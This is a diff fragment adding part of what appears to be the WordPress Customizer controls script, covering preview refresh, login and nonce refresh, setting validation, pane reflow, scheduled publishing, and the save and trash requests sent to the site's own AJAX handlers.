+			previewer.bind( 'ready', keepAliveTick );
+			previewer.bind( 'keep-alive', keepAliveTick );
+		},
+
+		/**
+		 * Query string data sent with each preview request.
+		 *
+		 * @abstract
+		 */
+		query: function() {},
+
+		abort: function() {
+			if ( this.loading ) {
+				this.loading.destroy();
+				delete this.loading;
+			}
+		},
+
+		/**
+		 * Refresh the preview seamlessly.
+		 *
+		 * @since 3.4.0
+		 * @access public
+		 * @returns {void}
+		 */
+		refresh: function() {
+			var previewer = this, onSettingChange;
+
+			// Display loading indicator
+			previewer.send( 'loading-initiated' );
+
+			previewer.abort();
+
+			previewer.loading = new api.PreviewFrame({
+				url:        previewer.url(),
+				previewUrl: previewer.previewUrl(),
+				query:      previewer.query( { excludeCustomizedSaved: true } ) || {},
+				container:  previewer.container
+			});
+
+			previewer.settingsModifiedWhileLoading = {};
+			onSettingChange = function( setting ) {
+				previewer.settingsModifiedWhileLoading[ setting.id ] = true;
+			};
+			api.bind( 'change', onSettingChange );
+			previewer.loading.always( function() {
+				api.unbind( 'change', onSettingChange );
+			} );
+
+			previewer.loading.done( function( readyData ) {
+				var loadingFrame = this, onceSynced;
+
+				previewer.preview = loadingFrame;
+				previewer.targetWindow( loadingFrame.targetWindow() );
+				previewer.channel( loadingFrame.channel() );
+
+				onceSynced = function() {
+					loadingFrame.unbind( 'synced', onceSynced );
+					if ( previewer._previousPreview ) {
+						previewer._previousPreview.destroy();
+					}
+					previewer._previousPreview = previewer.preview;
+					previewer.deferred.active.resolve();
+					delete previewer.loading;
+				};
+				loadingFrame.bind( 'synced', onceSynced );
+
+				// This event will be received directly by the previewer in normal navigation; this is only needed for seamless refresh.
+				previewer.trigger( 'ready', readyData );
+			});
+
+			previewer.loading.fail( function( reason ) {
+				previewer.send( 'loading-failed' );
+
+				if ( 'logged out' === reason ) {
+					if ( previewer.preview ) {
+						previewer.preview.destroy();
+						delete previewer.preview;
+					}
+
+					previewer.login().done( previewer.refresh );
+				}
+
+				if ( 'cheatin' === reason ) {
+					previewer.cheatin();
+				}
+			});
+		},
+
+		login: function() {
+			var previewer = this,
+				deferred, messenger, iframe;
+
+			if ( this._login ) {
+				return this._login;
+			}
+
+			deferred = $.Deferred();
+			this._login = deferred.promise();
+
+			messenger = new api.Messenger({
+				channel: 'login',
+				url:     api.settings.url.login
+			});
+
+			iframe = $( '<iframe />', { 'src': api.settings.url.login, 'title': api.l10n.loginIframeTitle } ).appendTo( this.container );
+
+			messenger.targetWindow( iframe[0].contentWindow );
+
+			messenger.bind( 'login', function () {
+				var refreshNonces = previewer.refreshNonces();
+
+				refreshNonces.always( function() {
+					iframe.remove();
+					messenger.destroy();
+					delete previewer._login;
+				});
+
+				refreshNonces.done( function() {
+					deferred.resolve();
+				});
+
+				refreshNonces.fail( function() {
+					previewer.cheatin();
+					deferred.reject();
+				});
+			});
+
+			return this._login;
+		},
+
+		cheatin: function() {
+			$( document.body ).empty().addClass( 'cheatin' ).append(
+				'<h1>' + api.l10n.notAllowedHeading + '</h1>' +
+				'<p>' + api.l10n.notAllowed + '</p>'
+			);
+		},
+
+		refreshNonces: function() {
+			var request, deferred = $.Deferred();
+
+			deferred.promise();
+
+			request = wp.ajax.post( 'customize_refresh_nonces', {
+				wp_customize: 'on',
+				customize_theme: api.settings.theme.stylesheet
+			});
+
+			request.done( function( response ) {
+				api.trigger( 'nonce-refresh', response );
+				deferred.resolve();
+			});
+
+			request.fail( function() {
+				deferred.reject();
+			});
+
+			return deferred;
+		}
+	});
+
+	api.settingConstructor = {};
+	api.controlConstructor = {
+		color:               api.ColorControl,
+		media:               api.MediaControl,
+		upload:              api.UploadControl,
+		image:               api.ImageControl,
+		cropped_image:       api.CroppedImageControl,
+		site_icon:           api.SiteIconControl,
+		header:              api.HeaderControl,
+		background:          api.BackgroundControl,
+		background_position: api.BackgroundPositionControl,
+		theme:               api.ThemeControl,
+		date_time:           api.DateTimeControl,
+		code_editor:         api.CodeEditorControl
+	};
+	api.panelConstructor = {
+		themes: api.ThemesPanel
+	};
+	api.sectionConstructor = {
+		themes: api.ThemesSection,
+		outer: api.OuterSection
+	};
+
+	/**
+	 * Handle setting_validities in an error response for the customize-save request.
+	 *
+	 * Add notifications to the settings and focus on the first control that has an invalid setting.
+	 *
+	 * @since 4.6.0
+	 * @private
+	 *
+	 * @param {object}  args
+	 * @param {object}  args.settingValidities
+	 * @param {boolean} [args.focusInvalidControl=false]
+	 * @returns {void}
+	 */
+	api._handleSettingValidities = function handleSettingValidities( args ) {
+		var invalidSettingControls, invalidSettings = [], wasFocused = false;
+
+		// Find the controls that correspond to each invalid setting.
+		_.each( args.settingValidities, function( validity, settingId ) {
+			var setting = api( settingId );
+			if ( setting ) {
+
+				// Add notifications for invalidities.
+				if ( _.isObject( validity ) ) {
+					_.each( validity, function( params, code ) {
+						var notification, existingNotification, needsReplacement = false;
+						notification = new api.Notification( code, _.extend( { fromServer: true }, params ) );
+
+						// Remove existing notification if already exists for code but differs in parameters.
+						existingNotification = setting.notifications( notification.code );
+						if ( existingNotification ) {
+							needsReplacement = notification.type !== existingNotification.type || notification.message !== existingNotification.message || ! _.isEqual( notification.data, existingNotification.data );
+						}
+						if ( needsReplacement ) {
+							setting.notifications.remove( code );
+						}
+
+						if ( ! setting.notifications.has( notification.code ) ) {
+							setting.notifications.add( notification );
+						}
+						invalidSettings.push( setting.id );
+					} );
+				}
+
+				// Remove notification errors that are no longer valid.
+				setting.notifications.each( function( notification ) {
+					if ( notification.fromServer && 'error' === notification.type && ( true === validity || ! validity[ notification.code ] ) ) {
+						setting.notifications.remove( notification.code );
+					}
+				} );
+			}
+		} );
+
+		if ( args.focusInvalidControl ) {
+			invalidSettingControls = api.findControlsForSettings( invalidSettings );
+
+			// Focus on the first control that is inside of an expanded section (one that is visible).
+			_( _.values( invalidSettingControls ) ).find( function( controls ) {
+				return _( controls ).find( function( control ) {
+					var isExpanded = control.section() && api.section.has( control.section() ) && api.section( control.section() ).expanded();
+					if ( isExpanded && control.expanded ) {
+						isExpanded = control.expanded();
+					}
+					if ( isExpanded ) {
+						control.focus();
+						wasFocused = true;
+					}
+					return wasFocused;
+				} );
+			} );
+
+			// Focus on the first invalid control.
+			if ( ! wasFocused && ! _.isEmpty( invalidSettingControls ) ) {
+				_.values( invalidSettingControls )[0][0].focus();
+			}
+		}
+	};
+
+	/**
+	 * Find all controls associated with the given settings.
+	 *
+	 * @since 4.6.0
+	 * @param {string[]} settingIds Setting IDs.
+	 * @returns {object<string, wp.customize.Control>} Mapping setting ids to arrays of controls.
+	 */
+	api.findControlsForSettings = function findControlsForSettings( settingIds ) {
+		var controls = {}, settingControls;
+		_.each( _.unique( settingIds ), function( settingId ) {
+			var setting = api( settingId );
+			if ( setting ) {
+				settingControls = setting.findControls();
+				if ( settingControls && settingControls.length > 0 ) {
+					controls[ settingId ] = settingControls;
+				}
+			}
+		} );
+		return controls;
+	};
+
+	/**
+	 * Sort panels, sections, controls by priorities. Hide empty sections and panels.
+	 *
+	 * @since 4.1.0
+	 */
+	api.reflowPaneContents = _.bind( function () {
+
+		var appendContainer, activeElement, rootHeadContainers, rootNodes = [], wasReflowed = false;
+
+		if ( document.activeElement ) {
+			activeElement = $( document.activeElement );
+		}
+
+		// Sort the sections within each panel
+		api.panel.each( function ( panel ) {
+			if ( 'themes' === panel.id ) {
+				return; // Don't reflow theme sections, as doing so moves them after the themes container.
+			}
+
+			var sections = panel.sections(),
+				sectionHeadContainers = _.pluck( sections, 'headContainer' );
+			rootNodes.push( panel );
+			appendContainer = ( panel.contentContainer.is( 'ul' ) ) ? panel.contentContainer : panel.contentContainer.find( 'ul:first' );
+			if ( ! api.utils.areElementListsEqual( sectionHeadContainers, appendContainer.children( '[id]' ) ) ) {
+				_( sections ).each( function ( section ) {
+					appendContainer.append( section.headContainer );
+				} );
+				wasReflowed = true;
+			}
+		} );
+
+		// Sort the controls within each section
+		api.section.each( function ( section ) {
+			var controls = section.controls(),
+				controlContainers = _.pluck( controls, 'container' );
+			if ( ! section.panel() ) {
+				rootNodes.push( section );
+			}
+			appendContainer = ( section.contentContainer.is( 'ul' ) ) ? section.contentContainer : section.contentContainer.find( 'ul:first' );
+			if ( ! api.utils.areElementListsEqual( controlContainers, appendContainer.children( '[id]' ) ) ) {
+				_( controls ).each( function ( control ) {
+					appendContainer.append( control.container );
+				} );
+				wasReflowed = true;
+			}
+		} );
+
+		// Sort the root panels and sections
+		rootNodes.sort( api.utils.prioritySort );
+		rootHeadContainers = _.pluck( rootNodes, 'headContainer' );
+		appendContainer = $( '#customize-theme-controls .customize-pane-parent' ); // @todo This should be defined elsewhere, and to be configurable
+		if ( ! api.utils.areElementListsEqual( rootHeadContainers, appendContainer.children() ) ) {
+			_( rootNodes ).each( function ( rootNode ) {
+				appendContainer.append( rootNode.headContainer );
+			} );
+			wasReflowed = true;
+		}
+
+		// Now re-trigger the active Value callbacks to that the panels and sections can decide whether they can be rendered
+		api.panel.each( function ( panel ) {
+			var value = panel.active();
+			panel.active.callbacks.fireWith( panel.active, [ value, value ] );
+		} );
+		api.section.each( function ( section ) {
+			var value = section.active();
+			section.active.callbacks.fireWith( section.active, [ value, value ] );
+		} );
+
+		// Restore focus if there was a reflow and there was an active (focused) element
+		if ( wasReflowed && activeElement ) {
+			activeElement.focus();
+		}
+		api.trigger( 'pane-contents-reflowed' );
+	}, api );
+
+	// Define state values.
+	api.state = new api.Values();
+	_.each( [
+		'saved',
+		'saving',
+		'trashing',
+		'activated',
+		'processing',
+		'paneVisible',
+		'expandedPanel',
+		'expandedSection',
+		'changesetDate',
+		'selectedChangesetDate',
+		'changesetStatus',
+		'selectedChangesetStatus',
+		'remainingTimeToPublish',
+		'previewerAlive',
+		'editShortcutVisibility',
+		'changesetLocked',
+		'previewedDevice'
+	], function( name ) {
+		api.state.create( name );
+	});
+
+	$( function() {
+		api.settings = window._wpCustomizeSettings;
+		api.l10n = window._wpCustomizeControlsL10n;
+
+		// Check if we can run the Customizer.
+		if ( ! api.settings ) {
+			return;
+		}
+
+		// Bail if any incompatibilities are found.
+		if ( ! $.support.postMessage || ( ! $.support.cors && api.settings.isCrossDomain ) ) {
+			return;
+		}
+
+		if ( null === api.PreviewFrame.prototype.sensitivity ) {
+			api.PreviewFrame.prototype.sensitivity = api.settings.timeouts.previewFrameSensitivity;
+		}
+		if ( null === api.Previewer.prototype.refreshBuffer ) {
+			api.Previewer.prototype.refreshBuffer = api.settings.timeouts.windowRefresh;
+		}
+
+		var parent,
+			body = $( document.body ),
+			overlay = body.children( '.wp-full-overlay' ),
+			title = $( '#customize-info .panel-title.site-title' ),
+			closeBtn = $( '.customize-controls-close' ),
+			saveBtn = $( '#save' ),
+			btnWrapper = $( '#customize-save-button-wrapper' ),
+			publishSettingsBtn = $( '#publish-settings' ),
+			footerActions = $( '#customize-footer-actions' );
+
+		// Add publish settings section in JS instead of PHP since the Customizer depends on it to function.
+		api.bind( 'ready', function() {
+			api.section.add( new api.OuterSection( 'publish_settings', {
+				title: api.l10n.publishSettings,
+				priority: 0,
+				active: api.settings.theme.active
+			} ) );
+		} );
+
+		// Set up publish settings section and its controls.
+		api.section( 'publish_settings', function( section ) {
+			var updateButtonsState, trashControl, updateSectionActive, isSectionActive, statusControl, dateControl, toggleDateControl, publishWhenTime, pollInterval, updateTimeArrivedPoller, cancelScheduleButtonReminder, timeArrivedPollingInterval = 1000;
+
+			trashControl = new api.Control( 'trash_changeset', {
+				type: 'button',
+				section: section.id,
+				priority: 30,
+				input_attrs: {
+					'class': 'button-link button-link-delete',
+					value: api.l10n.discardChanges
+				}
+			} );
+			api.control.add( trashControl );
+			trashControl.deferred.embedded.done( function() {
+				trashControl.container.find( '.button-link' ).on( 'click', function() {
+					if ( confirm( api.l10n.trashConfirm ) ) {
+						wp.customize.previewer.trash();
+					}
+				} );
+			} );
+
+			api.control.add( new api.PreviewLinkControl( 'changeset_preview_link', {
+				section: section.id,
+				priority: 100
+			} ) );
+
+			/**
+			 * Return whether the pubish settings section should be active.
+			 *
+			 * @return {boolean} Is section active.
+			 */
+			isSectionActive = function() {
+				if ( ! api.state( 'activated' ).get() ) {
+					return false;
+				}
+				if ( api.state( 'trashing' ).get() || 'trash' === api.state( 'changesetStatus' ).get() ) {
+					return false;
+				}
+				if ( '' === api.state( 'changesetStatus' ).get() && api.state( 'saved' ).get() ) {
+					return false;
+				}
+				return true;
+			};
+
+			// Make sure publish settings are not available while the theme is not active and the customizer is in a published state.
+			section.active.validate = isSectionActive;
+			updateSectionActive = function() {
+				section.active.set( isSectionActive() );
+			};
+			api.state( 'activated' ).bind( updateSectionActive );
+			api.state( 'trashing' ).bind( updateSectionActive );
+			api.state( 'saved' ).bind( updateSectionActive );
+			api.state( 'changesetStatus' ).bind( updateSectionActive );
+			updateSectionActive();
+
+			// Bind visibility of the publish settings button to whether the section is active.
+			updateButtonsState = function() {
+				publishSettingsBtn.toggle( section.active.get() );
+				saveBtn.toggleClass( 'has-next-sibling', section.active.get() );
+			};
+			updateButtonsState();
+			section.active.bind( updateButtonsState );
+
+			function highlightScheduleButton() {
+				if ( ! cancelScheduleButtonReminder ) {
+					cancelScheduleButtonReminder = api.utils.highlightButton( btnWrapper, {
+						delay: 1000,
+
+						// Only abort the reminder when the save button is focused.
+						// If the user clicks the settings button to toggle the
+						// settings closed, we'll still remind them.
+						focusTarget: saveBtn
+					} );
+				}
+			}
+			function cancelHighlightScheduleButton() {
+				if ( cancelScheduleButtonReminder ) {
+					cancelScheduleButtonReminder();
+					cancelScheduleButtonReminder = null;
+				}
+			}
+			api.state( 'selectedChangesetStatus' ).bind( cancelHighlightScheduleButton );
+
+			section.contentContainer.find( '.customize-action' ).text( api.l10n.updating );
+			section.contentContainer.find( '.customize-section-back' ).removeAttr( 'tabindex' );
+			publishSettingsBtn.prop( 'disabled', false );
+
+			publishSettingsBtn.on( 'click', function( event ) {
+				event.preventDefault();
+				section.expanded.set( ! section.expanded.get() );
+			} );
+
+			section.expanded.bind( function( isExpanded ) {
+				var defaultChangesetStatus;
+				publishSettingsBtn.attr( 'aria-expanded', String( isExpanded ) );
+				publishSettingsBtn.toggleClass( 'active', isExpanded );
+
+				if ( isExpanded ) {
+					cancelHighlightScheduleButton();
+					return;
+				}
+
+				defaultChangesetStatus = api.state( 'changesetStatus' ).get();
+				if ( '' === defaultChangesetStatus || 'auto-draft' === defaultChangesetStatus ) {
+					defaultChangesetStatus = 'publish';
+				}
+
+				if ( api.state( 'selectedChangesetStatus' ).get() !== defaultChangesetStatus ) {
+					highlightScheduleButton();
+				} else if ( 'future' === api.state( 'selectedChangesetStatus' ).get() && api.state( 'selectedChangesetDate' ).get() !== api.state( 'changesetDate' ).get() ) {
+					highlightScheduleButton();
+				}
+			} );
+
+			statusControl = new api.Control( 'changeset_status', {
+				priority: 10,
+				type: 'radio',
+				section: 'publish_settings',
+				setting: api.state( 'selectedChangesetStatus' ),
+				templateId: 'customize-selected-changeset-status-control',
+				label: api.l10n.action,
+				choices: api.settings.changeset.statusChoices
+			} );
+			api.control.add( statusControl );
+
+			dateControl = new api.DateTimeControl( 'changeset_scheduled_date', {
+				priority: 20,
+				section: 'publish_settings',
+				setting: api.state( 'selectedChangesetDate' ),
+				minYear: ( new Date() ).getFullYear(),
+				allowPastDate: false,
+				includeTime: true,
+				twelveHourFormat: /a/i.test( api.settings.timeFormat ),
+				description: api.l10n.scheduleDescription
+			} );
+			dateControl.notifications.alt = true;
+			api.control.add( dateControl );
+
+			publishWhenTime = function() {
+				api.state( 'selectedChangesetStatus' ).set( 'publish' );
+				api.previewer.save();
+			};
+
+			// Start countdown for when the dateTime arrives, or clear interval when it is .
+			updateTimeArrivedPoller = function() {
+				var shouldPoll = (
+					'future' === api.state( 'changesetStatus' ).get() &&
+					'future' === api.state( 'selectedChangesetStatus' ).get() &&
+					api.state( 'changesetDate' ).get() &&
+					api.state( 'selectedChangesetDate' ).get() === api.state( 'changesetDate' ).get() &&
+					api.utils.getRemainingTime( api.state( 'changesetDate' ).get() ) >= 0
+				);
+
+				if ( shouldPoll && ! pollInterval ) {
+					pollInterval = setInterval( function() {
+						var remainingTime = api.utils.getRemainingTime( api.state( 'changesetDate' ).get() );
+						api.state( 'remainingTimeToPublish' ).set( remainingTime );
+						if ( remainingTime <= 0 ) {
+							clearInterval( pollInterval );
+							pollInterval = 0;
+							publishWhenTime();
+						}
+					}, timeArrivedPollingInterval );
+				} else if ( ! shouldPoll && pollInterval ) {
+					clearInterval( pollInterval );
+					pollInterval = 0;
+				}
+			};
+
+			api.state( 'changesetDate' ).bind( updateTimeArrivedPoller );
+			api.state( 'selectedChangesetDate' ).bind( updateTimeArrivedPoller );
+			api.state( 'changesetStatus' ).bind( updateTimeArrivedPoller );
+			api.state( 'selectedChangesetStatus' ).bind( updateTimeArrivedPoller );
+			updateTimeArrivedPoller();
+
+			// Ensure dateControl only appears when selected status is future.
+			dateControl.active.validate = function() {
+				return 'future' === api.state( 'selectedChangesetStatus' ).get();
+			};
+			toggleDateControl = function( value ) {
+				dateControl.active.set( 'future' === value );
+			};
+			toggleDateControl( api.state( 'selectedChangesetStatus' ).get() );
+			api.state( 'selectedChangesetStatus' ).bind( toggleDateControl );
+
+			// Show notification on date control when status is future but it isn't a future date.
+			api.state( 'saving' ).bind( function( isSaving ) {
+				if ( isSaving && 'future' === api.state( 'selectedChangesetStatus' ).get() ) {
+					dateControl.toggleFutureDateNotification( ! dateControl.isFutureDate() );
+				}
+			} );
+		} );
+
+		// Prevent the form from saving when enter is pressed on an input or select element.
+		$('#customize-controls').on( 'keydown', function( e ) {
+			var isEnter = ( 13 === e.which ),
+				$el = $( e.target );
+
+			if ( isEnter && ( $el.is( 'input:not([type=button])' ) || $el.is( 'select' ) ) ) {
+				e.preventDefault();
+			}
+		});
+
+		// Expand/Collapse the main customizer customize info.
+		$( '.customize-info' ).find( '> .accordion-section-title .customize-help-toggle' ).on( 'click', function() {
+			var section = $( this ).closest( '.accordion-section' ),
+				content = section.find( '.customize-panel-description:first' );
+
+			if ( section.hasClass( 'cannot-expand' ) ) {
+				return;
+			}
+
+			if ( section.hasClass( 'open' ) ) {
+				section.toggleClass( 'open' );
+				content.slideUp( api.Panel.prototype.defaultExpandedArguments.duration, function() {
+					content.trigger( 'toggled' );
+				} );
+				$( this ).attr( 'aria-expanded', false );
+			} else {
+				content.slideDown( api.Panel.prototype.defaultExpandedArguments.duration, function() {
+					content.trigger( 'toggled' );
+				} );
+				section.toggleClass( 'open' );
+				$( this ).attr( 'aria-expanded', true );
+			}
+		});
+
+		// Initialize Previewer
+		api.previewer = new api.Previewer({
+			container:   '#customize-preview',
+			form:        '#customize-controls',
+			previewUrl:  api.settings.url.preview,
+			allowedUrls: api.settings.url.allowed
+		}, {
+
+			nonce: api.settings.nonce,
+
+			/**
+			 * Build the query to send along with the Preview request.
+			 *
+			 * @since 3.4.0
+			 * @since 4.7.0 Added options param.
+			 * @access public
+			 *
+			 * @param {object}  [options] Options.
+			 * @param {boolean} [options.excludeCustomizedSaved=false] Exclude saved settings in customized response (values pending writing to changeset).
+			 * @return {object} Query vars.
+			 */
+			query: function( options ) {
+				var queryVars = {
+					wp_customize: 'on',
+					customize_theme: api.settings.theme.stylesheet,
+					nonce: this.nonce.preview,
+					customize_changeset_uuid: api.settings.changeset.uuid
+				};
+				if ( api.settings.changeset.autosaved || ! api.state( 'saved' ).get() ) {
+					queryVars.customize_autosaved = 'on';
+				}
+
+				/*
+				 * Exclude customized data if requested especially for calls to requestChangesetUpdate.
+				 * Changeset updates are differential and so it is a performance waste to send all of
+				 * the dirty settings with each update.
+				 */
+				queryVars.customized = JSON.stringify( api.dirtyValues( {
+					unsaved: options && options.excludeCustomizedSaved
+				} ) );
+
+				return queryVars;
+			},
+
+			/**
+			 * Save (and publish) the customizer changeset.
+			 *
+			 * Updates to the changeset are transactional. If any of the settings
+			 * are invalid then none of them will be written into the changeset.
+			 * A revision will be made for the changeset post if revisions support
+			 * has been added to the post type.
+			 *
+			 * @since 3.4.0
+			 * @since 4.7.0 Added args param and return value.
+			 *
+			 * @param {object} [args] Args.
+			 * @param {string} [args.status=publish] Status.
+			 * @param {string} [args.date] Date, in local time in MySQL format.
+			 * @param {string} [args.title] Title
+			 * @returns {jQuery.promise} Promise.
+			 */
+			save: function( args ) {
+				var previewer = this,
+					deferred = $.Deferred(),
+					changesetStatus = api.state( 'selectedChangesetStatus' ).get(),
+					selectedChangesetDate = api.state( 'selectedChangesetDate' ).get(),
+					processing = api.state( 'processing' ),
+					submitWhenDoneProcessing,
+					submit,
+					modifiedWhileSaving = {},
+					invalidSettings = [],
+					invalidControls = [],
+					invalidSettingLessControls = [];
+
+				if ( args && args.status ) {
+					changesetStatus = args.status;
+				}
+
+				if ( api.state( 'saving' ).get() ) {
+					deferred.reject( 'already_saving' );
+					deferred.promise();
+				}
+
+				api.state( 'saving' ).set( true );
+
+				function captureSettingModifiedDuringSave( setting ) {
+					modifiedWhileSaving[ setting.id ] = true;
+				}
+
+				submit = function () {
+					var request, query, settingInvalidities = {}, latestRevision = api._latestRevision, errorCode = 'client_side_error';
+
+					api.bind( 'change', captureSettingModifiedDuringSave );
+					api.notifications.remove( errorCode );
+
+					/*
+					 * Block saving if there are any settings that are marked as
+					 * invalid from the client (not from the server). Focus on
+					 * the control.
+					 */
+					api.each( function( setting ) {
+						setting.notifications.each( function( notification ) {
+							if ( 'error' === notification.type && ! notification.fromServer ) {
+								invalidSettings.push( setting.id );
+								if ( ! settingInvalidities[ setting.id ] ) {
+									settingInvalidities[ setting.id ] = {};
+								}
+								settingInvalidities[ setting.id ][ notification.code ] = notification;
+							}
+						} );
+					} );
+
+					// Find all invalid setting less controls with notification type error.
+					api.control.each( function( control ) {
+						if ( ! control.setting || ! control.setting.id && control.active.get() ) {
+							control.notifications.each( function( notification ) {
+							    if ( 'error' === notification.type ) {
+								    invalidSettingLessControls.push( [ control ] );
+							    }
+							} );
+						}
+					} );
+
+					invalidControls = _.union( invalidSettingLessControls, _.values( api.findControlsForSettings( invalidSettings ) ) );
+					if ( ! _.isEmpty( invalidControls ) ) {
+
+						invalidControls[0][0].focus();
+						api.unbind( 'change', captureSettingModifiedDuringSave );
+
+						if ( invalidSettings.length ) {
+							api.notifications.add( new api.Notification( errorCode, {
+								message: ( 1 === invalidSettings.length ? api.l10n.saveBlockedError.singular : api.l10n.saveBlockedError.plural ).replace( /%s/g, String( invalidSettings.length ) ),
+								type: 'error',
+								dismissible: true,
+								saveFailure: true
+							} ) );
+						}
+
+						deferred.rejectWith( previewer, [
+							{ setting_invalidities: settingInvalidities }
+						] );
+						api.state( 'saving' ).set( false );
+						return deferred.promise();
+					}
+
+					/*
+					 * Note that excludeCustomizedSaved is intentionally false so that the entire
+					 * set of customized data will be included if bypassed changeset update.
+					 */
+					query = $.extend( previewer.query( { excludeCustomizedSaved: false } ), {
+						nonce: previewer.nonce.save,
+						customize_changeset_status: changesetStatus
+					} );
+
+					if ( args && args.date ) {
+						query.customize_changeset_date = args.date;
+					} else if ( 'future' === changesetStatus && selectedChangesetDate ) {
+						query.customize_changeset_date = selectedChangesetDate;
+					}
+
+					if ( args && args.title ) {
+						query.customize_changeset_title = args.title;
+					}
+
+					// Allow plugins to modify the params included with the save request.
+					api.trigger( 'save-request-params', query );
+
+					/*
+					 * Note that the dirty customized values will have already been set in the
+					 * changeset and so technically query.customized could be deleted. However,
+					 * it is remaining here to make sure that any settings that got updated
+					 * quietly which may have not triggered an update request will also get
+					 * included in the values that get saved to the changeset. This will ensure
+					 * that values that get injected via the saved event will be included in
+					 * the changeset. This also ensures that setting values that were invalid
+					 * will get re-validated, perhaps in the case of settings that are invalid
+					 * due to dependencies on other settings.
+					 */
+					request = wp.ajax.post( 'customize_save', query );
+					api.state( 'processing' ).set( api.state( 'processing' ).get() + 1 );
+
+					api.trigger( 'save', request );
+
+					request.always( function () {
+						api.state( 'processing' ).set( api.state( 'processing' ).get() - 1 );
+						api.state( 'saving' ).set( false );
+						api.unbind( 'change', captureSettingModifiedDuringSave );
+					} );
+
+					// Remove notifications that were added due to save failures.
+					api.notifications.each( function( notification ) {
+						if ( notification.saveFailure ) {
+							api.notifications.remove( notification.code );
+						}
+					});
+
+					request.fail( function ( response ) {
+						var notification, notificationArgs;
+						notificationArgs = {
+							type: 'error',
+							dismissible: true,
+							fromServer: true,
+							saveFailure: true
+						};
+
+						if ( '0' === response ) {
+							response = 'not_logged_in';
+						} else if ( '-1' === response ) {
+							// Back-compat in case any other check_ajax_referer() call is dying
+							response = 'invalid_nonce';
+						}
+
+						if ( 'invalid_nonce' === response ) {
+							previewer.cheatin();
+						} else if ( 'not_logged_in' === response ) {
+							previewer.preview.iframe.hide();
+							previewer.login().done( function() {
+								previewer.save();
+								previewer.preview.iframe.show();
+							} );
+						} else if ( response.code ) {
+							if ( 'not_future_date' === response.code && api.section.has( 'publish_settings' ) && api.section( 'publish_settings' ).active.get() && api.control.has( 'changeset_scheduled_date' ) ) {
+								api.control( 'changeset_scheduled_date' ).toggleFutureDateNotification( true ).focus();
+							} else if ( 'changeset_locked' !== response.code ) {
+								notification = new api.Notification( response.code, _.extend( notificationArgs, {
+									message: response.message
+								} ) );
+							}
+						} else {
+							notification = new api.Notification( 'unknown_error', _.extend( notificationArgs, {
+								message: api.l10n.unknownRequestFail
+							} ) );
+						}
+
+						if ( notification ) {
+							api.notifications.add( notification );
+						}
+
+						if ( response.setting_validities ) {
+							api._handleSettingValidities( {
+								settingValidities: response.setting_validities,
+								focusInvalidControl: true
+							} );
+						}
+
+						deferred.rejectWith( previewer, [ response ] );
+						api.trigger( 'error', response );
+
+						// Start a new changeset if the underlying changeset was published.
+						if ( 'changeset_already_published' === response.code && response.next_changeset_uuid ) {
+							api.settings.changeset.uuid = response.next_changeset_uuid;
+							api.state( 'changesetStatus' ).set( '' );
+							if ( api.settings.changeset.branching ) {
+								parent.send( 'changeset-uuid', api.settings.changeset.uuid );
+							}
+							api.previewer.send( 'changeset-uuid', api.settings.changeset.uuid );
+						}
+					} );
+
+					request.done( function( response ) {
+
+						previewer.send( 'saved', response );
+
+						api.state( 'changesetStatus' ).set( response.changeset_status );
+						if ( response.changeset_date ) {
+							api.state( 'changesetDate' ).set( response.changeset_date );
+						}
+
+						if ( 'publish' === response.changeset_status ) {
+
+							// Mark all published as clean if they haven't been modified during the request.
+							api.each( function( setting ) {
+								/*
+								 * Note that the setting revision will be undefined in the case of setting
+								 * values that are marked as dirty when the customizer is loaded, such as
+								 * when applying starter content. All other dirty settings will have an
+								 * associated revision due to their modification triggering a change event.
+								 */
+								if ( setting._dirty && ( _.isUndefined( api._latestSettingRevisions[ setting.id ] ) || api._latestSettingRevisions[ setting.id ] <= latestRevision ) ) {
+									setting._dirty = false;
+								}
+							} );
+
+							api.state( 'changesetStatus' ).set( '' );
+							api.settings.changeset.uuid = response.next_changeset_uuid;
+							if ( api.settings.changeset.branching ) {
+								parent.send( 'changeset-uuid', api.settings.changeset.uuid );
+							}
+						}
+
+						// Prevent subsequent requestChangesetUpdate() calls from including the settings that have been saved.
+						api._lastSavedRevision = Math.max( latestRevision, api._lastSavedRevision );
+
+						if ( response.setting_validities ) {
+							api._handleSettingValidities( {
+								settingValidities: response.setting_validities,
+								focusInvalidControl: true
+							} );
+						}
+
+						deferred.resolveWith( previewer, [ response ] );
+						api.trigger( 'saved', response );
+
+						// Restore the global dirty state if any settings were modified during save.
+						if ( ! _.isEmpty( modifiedWhileSaving ) ) {
+							api.state( 'saved' ).set( false );
+						}
+					} );
+				};
+
+				if ( 0 === processing() ) {
+					submit();
+				} else {
+					submitWhenDoneProcessing = function () {
+						if ( 0 === processing() ) {
+							api.state.unbind( 'change', submitWhenDoneProcessing );
+							submit();
+						}
+					};
+					api.state.bind( 'change', submitWhenDoneProcessing );
+				}
+
+				return deferred.promise();
+			},
+
+			/**
+			 * Trash the current changes.
+			 *
+			 * Revert the Customizer to it's previously-published state.
+			 *
+			 * @since 4.9.0
+			 *
+			 * @returns {jQuery.promise} Promise.
+			 */
+			trash: function trash() {
+				var request, success, fail;
+
+				api.state( 'trashing' ).set( true );
+				api.state( 'processing' ).set( api.state( 'processing' ).get() + 1 );
+
+				request = wp.ajax.post( 'customize_trash', {
+					customize_changeset_uuid: api.settings.changeset.uuid,
+					nonce: api.settings.nonce.trash
+				} );
+				api.notifications.add( new api.OverlayNotification( 'changeset_trashing', {
+					type: 'info',
+					message: api.l10n.revertingChanges,
+					loading: true
+				} ) );
+
+				success = function() {
+					var urlParser = document.createElement( 'a' ), queryParams;
+
+					api.state( 'changesetStatus' ).set( 'trash' );
+					api.each( function( setting ) {
+						setting._dirty = false;
+					} );
+					api.state( 'saved' ).set( true );
+
+					// Go back to Customizer without changeset.
+					urlParser.href = location.href;
+					queryParams = api.utils.parseQueryString( urlParser.search.substr( 1 ) );
+					delete queryParams.changeset_uuid;
+					queryParams['return'] = api.settings.url['return'];
+					urlParser.search = $.param( queryParams );
+					location.replace( urlParser.href );
+				};
+
+				fail = function( code, message ) {
+					var notificationCode = code || 'unknown_error';
+					api.state( 'processing' ).set( api.state( 'processing' ).get() - 1 );
+					api.state( 'trashing' ).set( false );
+					api.notifications.remove( 'changeset_trashing' );
+					api.notifications.add( new api.Notification( notificationCode, {
+						message: message || api.l10n.unknownError,
+						dismissible: true,
+						type: 'error'
+					} ) );
+				};
+
+				request.done( function( response ) {
+					success( response.message );
+				} );
+
+				request.fail( function( response ) {
+					var code = response.code || 'trashing_failed';
+					if ( response.success || 'non_existent_changeset' === code || 'changeset_already_trashed' === code ) {
+						success( response.message );
+					} else {
+						fail( code, response.message );
+					}
+				} );
+			},
+
+			/**
